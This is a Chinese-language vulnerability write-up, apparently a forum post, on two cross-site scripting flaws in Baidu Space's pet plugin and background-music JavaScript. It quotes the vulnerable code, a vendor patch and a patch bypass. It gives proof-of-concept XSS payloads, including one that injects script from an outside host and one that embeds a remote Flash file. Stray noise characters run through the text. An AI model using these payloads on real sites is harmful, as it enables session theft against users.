百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS. - X$ M( K+ I" [; n! j
7 G; p8 b* u4 N6 a: t7 A$ c9 |9 m1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存. 7 ]- l- I( A0 f2 e
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中
( _ s" |$ @% H+ y: ~6 \* [% O- S k( ?- ^
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>
3 n+ i# |/ ^+ j1 S. g: Y$ @6 @ v其中BdUtil.insertWBR为 " g/ F2 k$ P+ f+ o+ ~6 f
function(text, step) {
+ k8 W4 w0 D/ v' A; I% b# | var textarea = textAreaCache || getContainer();
9 p7 q& j; ]+ l8 S+ P" { if (!textarea) { 1 B9 I) }4 \& F( S% f& E/ s3 h
return text;
% b; C, Y/ T% Y } 4 _9 V: @8 E* k% |9 ?& q% I
textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">"); . H7 E9 ]: |, Z9 z1 v/ x' X2 s: `/ u
var string = textarea.value;
/ t1 g6 [+ r0 P% d var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi"); 2 D& ? y9 H$ A6 n! X
var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");
# l( C/ l( W& I; O0 g2 U# B, f1 @, Q return result; 4 M4 u7 O: y9 x( J4 m( G. [
} / R& E8 n) G. I! ?, S
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS. / I6 P+ ?! p6 w+ g
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>
8 m# o K' v& K# K6 C. k 8 I2 i7 k2 f! S' I
二:creatbgmusic() Dom-Xss Bug 0 n, E1 z& L8 E
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞 2 ]& q3 w% @: Q+ H$ ]
+ F& ^/ j$ \+ r/ \. g0 x4 i
在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:
& ?0 l4 m6 q7 K. t h+ H
7 X3 [* P% k$ K# x1 }, yfunction creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {
; G- Y; O9 s+ [$ U //传入的murl赋值到bgmusic1和bgmusic2中
! O' L' @. V/ _+ e0 [7 o //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1
- e* X* R* j6 O; X& i- e. O: s" W+ o var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">"; 4 N6 M: t k9 ~ J# w6 o
if (musicnum <= 1) { $ Q+ K/ s3 }9 f" w9 y4 M( Y, o
bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";
) a6 x) E9 I7 @9 b. _# c5 m& k8 V }
/ E5 S* y3 c1 \ A x4 { bgmusic1 += "</OBJECT>";
/ x% d8 m5 [: F# a/ K* t' O var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\""; 6 u9 h. Y5 Y% N9 C
if (musicnum <= 1) { ( G1 d; |$ k# M7 M' [7 r
bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" "; ! O/ U" B1 \' B8 l3 I7 X' m" a
}
# U! h: v' k& `/ r8 p+ {& W bgmusic2 += "> </EMBED>";
& [+ s4 l2 z9 C/ _# r& g' H var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";
/ W: Q% s2 W9 N: i var bgmus = detectWMP(); 5 O2 l7 Q* x+ k4 E
if (functype == "FckMusicHelper") { ( z4 Y3 f$ d3 L: y
if (bgmus.installed) { ; V# B2 C0 e/ ^% E- d' G2 K
if (bgmus.type == "IE") { + Q/ F% f4 y: k" B
return bgmusic1; - `9 {3 l2 m& F8 [: D
} else if (bgmus.type == "NS") {
. H& K5 X Q& |% Q8 s return bgmusic2;
( K$ e2 f K6 m% |! R1 y/ E( g4 z } : D- s$ H3 h# ]
} else { % F0 j. M. H9 J2 i
return bgmusic3;
- Z+ [: M% S; A/ Y4 X3 W) R }
8 J. ~' Y d: H a; l; R } else {
: g7 v- }6 H; S6 g if (bgmus.installed) {
( J4 R5 J' [$ ^- e, R; ?5 } //document.write 直接输出bgmusic变量 导致xss ( K% H' X- s( i2 Q( @4 q
if (bgmus.type == "IE") { r# G8 e& q* `. _1 w: V
document.write(bgmusic1); / k8 [! U3 s2 Y% v. F5 b; ^
} else if (bgmus.type == "NS") {
! K$ J- u2 W% i8 _/ L document.write(bgmusic2);
2 i9 K7 x/ o" t7 n0 c$ X }
7 L* u+ [, i7 p; [& Z } else {
* E f' U! X: W2 C3 N document.write(bgmusic3);
' |6 Q l& |. V2 [# E3 _ }
# r7 ]2 c$ F0 E2 O return "";
7 | h# c+ H" m9 q! n }
) C. _: ]0 c N+ B. I}
2 F( Z( J5 N1 o2 O6 i9 G
) w8 A' L8 [8 _1 ]3 z7 n: t* U在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下: 7 e9 W% v+ O+ n
* D2 O! Z" D* `' e2 @+ T G# g
function initBlogTextForFCK(){ : U4 \: L5 A& v! j/ M
//fck init music * q- s5 n+ O: ?: I7 J5 _8 ~
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}
1 H. ?% x+ t5 N" U! j, ?" h# uvar imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组 % T! @9 i5 s9 C
var isAutoPlay=true;
/ t# h9 A+ B* q+ kfor(var i=0,n=imgBox.length;i<n;i++){ //然后遍历. / y: G, _' J$ F6 X. z
var img=imgBox;
' _* D/ A9 q% {" e if(img.getAttribute(’rel’)){
0 \% S1 R4 G+ I$ `- g2 V var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc ) }# Q& ?) J% g) N1 I- P1 X( u
var musicDiv = document.createElement("SPAN"); % y! J4 h! X0 K g% p2 Q! o
var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp] 7 y$ l. l# m# ~' N% K L6 c
' \$ e$ W. Q) {5 e. H9 [% _) E* U& B9 r$ E .......................... 2 L# G' b; k9 C* K
( e1 f7 M) x7 {) \4 l4 a' d
//直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来. 2 L. U- s; `6 u7 g4 a# t$ z/ _
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); 5 _1 C5 o9 K- p% ?% s
shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv);
$ z4 y0 W6 i: r0 I musicDiv.innerHTML=shtml;
4 g+ _& f: {# R0 Q" |* c i--;n--; g& W. F* p% \4 r3 K6 p
}
. n7 _; w+ b7 l5 R4 i}
4 r8 b# H. d, O2 k& q8 ]
Q& E1 g7 s) M6 j7 b9 E1 V. }! r: I从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS. 3 h' r8 U: X' m" g: N
" c9 i' u8 i8 |+ h6 a测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/> $ h# f @' w9 ?- H: O& x7 E
6 |- ~7 z0 {9 ~, u0 F3 N- k7 m等待官方补丁 ! p2 _- a: }/ l+ q
+ p& u7 y3 B8 b+ p8 b
update 2010年5月13日 + s1 @1 j' y) s, c( p
( E) m) m" J* g( J. f3 W6 s
官方补丁:
! X G1 f; V! P, [4 h# l, O: a
! j) w* r3 `2 ]( e# yvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); ) M. Q; w# `7 B2 n7 z) t% K
改为:
) t; [% j9 x* Avar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);
" w: G* g( }7 u- v0 s
7 V/ `4 M) G& x. i7 } Y8 H% F4 u' dupdate 2010年5月13日 21:50:37
; N; j+ |% u7 f
0 C" h2 D( {2 i/ ?# C- @% B补丁存在漏洞 没有过滤" 可以继续跨: $ f' h, O) a' B+ m9 |( N
2 U( f2 _- E5 z" e
NEW POC: # K' _0 D$ O: Y" X7 i( P* T
" F- c7 v H. F" f! p2 ^6 m<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" 0 Q7 `" V# T! k! Q4 k) Y
* @6 _: w4 s0 A' `, _" Gallowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
( U) |, m7 K5 Y2 E, Q ) S- B9 j, P v+ V! _# y
|